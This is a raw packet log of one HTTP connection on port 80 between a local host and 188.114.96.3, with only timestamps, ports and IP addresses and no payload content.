Nov 1, 2024 15:15:00.348006010 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.348017931 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.348807096 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.348823071 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.348829031 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.348830938 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.348834991 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.348846912 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.348858118 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.348870039 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.348876953 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.348876953 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.348880053 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.348891973 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.348917961 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.348917961 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.348964930 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.349575996 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.349586964 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.349597931 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.349610090 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.349611998 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.349620104 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.349631071 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.349638939 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.349642992 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.349656105 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.349672079 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.349684000 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.349694967 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.349705935 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.349709034 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.349709034 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.349709034 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.349718094 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.349730968 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.349741936 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.349741936 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.349756956 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.349766016 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.349796057 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.349831104 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.350577116 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.350589037 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.350600004 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.350610971 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.350622892 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.350636005 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.350641966 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.350641966 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.350646973 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.350657940 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.350663900 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.350668907 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.350681067 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.350687027 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.350687027 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.350692034 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.350706100 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.350718021 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.350725889 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.350728989 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.350750923 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.350750923 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.351540089 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.351552010 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.351562977 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.351573944 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.351583958 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.351594925 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.351602077 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.351602077 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.351607084 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.351619959 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.351624966 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.351630926 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.351634026 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.351634026 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.351634979 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.351636887 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.351643085 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.351654053 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.351665020 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.351679087 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.351679087 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.351710081 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.352464914 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.352478027 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.352488041 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.352499008 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.352510929 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.352519989 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.352524042 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.352535009 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.352546930 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.352559090 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.352570057 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.352581024 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.352591038 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.352591038 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.352592945 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.352626085 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.352626085 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.352626085 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.352652073 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.353241920 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.353254080 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.353265047 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.353276968 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.353287935 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.353302002 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.353312016 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.353317976 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.353323936 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.353323936 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.353337049 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.353346109 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.353349924 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.353354931 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.353355885 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.353358030 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.353372097 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.353404045 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.353404045 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.354235888 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.354248047 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.354259968 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.354271889 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.354281902 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.354294062 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.354305029 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.354312897 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.354316950 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.354329109 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.354340076 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.354345083 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.354345083 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.354351044 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.354362965 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.354365110 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.354373932 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.354384899 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.354424000 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.354424000 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.355225086 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.355237007 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.355247021 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.355258942 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.355262995 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.355269909 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.355281115 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.355293989 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.355304003 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.355304003 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.355304956 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.355315924 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.355321884 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.355335951 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.355334997 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.355345964 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.355357885 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.355367899 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.355370998 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.355393887 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.355426073 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.356209040 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356221914 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356231928 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356242895 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356250048 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.356254101 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356264114 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.356265068 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356276035 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356292009 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356302023 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356303930 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.356303930 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.356312037 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356323957 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356331110 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.356336117 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356374025 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.356390953 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.356843948 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356856108 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356865883 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356878042 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356882095 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.356890917 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356903076 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356914997 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356925011 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356935978 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356937885 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.356937885 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.356946945 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.356947899 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356959105 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356970072 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356970072 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.356980085 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.356991053 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.357001066 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.357001066 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.357012987 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.357013941 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.357033014 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.357055902 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.357817888 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.357830048 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.357839108 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.357851028 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.357861996 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.357877970 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.357878923 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.357889891 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.357903957 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.357903957 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.357916117 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.357927084 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.357937098 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.357937098 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.357939005 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.357950926 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.357960939 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.357970953 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.357971907 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.357983112 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.357983112 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.357995987 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.358027935 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.358027935 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.358772993 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.358784914 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.358795881 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.358808994 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.358814955 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.358819962 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.358833075 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.358834982 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.358844042 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.358853102 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.358855963 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.358866930 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.358877897 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.358887911 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.358890057 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.358901978 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.358901978 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.358913898 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.358922005 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.358925104 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.358935118 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.358947039 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.358958960 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.358999968 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.358999968 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.359580040 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.359591961 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.359603882 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.359620094 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.359783888 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.359797001 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.359807014 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.359807968 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.359838963 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.359852076 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.359855890 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.359855890 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.359862089 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.359873056 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.359906912 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.359906912 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.359927893 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.359937906 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.359956026 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.359966993 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.359977961 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.359983921 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.359989882 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.360002995 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.360002995 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.360013962 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.360018015 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.360025883 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.360037088 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.360059977 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.360059977 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.360095978 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.360971928 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.360984087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.360994101 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.361006021 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.361016989 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.361027956 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.361040115 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.361044884 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.361051083 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.361053944 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.361067057 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.361078024 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.361088037 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.361094952 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.361094952 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.361099958 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.361112118 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.361124039 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.361135006 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.361146927 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.361186028 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.361186028 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.361186028 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.361915112 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.361927986 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.361938000 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.361951113 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.361955881 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.361962080 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.361974001 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.361987114 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.361996889 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.362008095 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.362020969 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.362032890 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.362035036 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.362035036 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.362035036 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.362045050 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.362055063 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.362065077 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.362076044 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.362080097 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.362080097 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.362088919 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.362116098 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.362149954 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.362653017 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.362658978 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.362670898 CET	80	49874	188.114.96.3	192.168.2.5
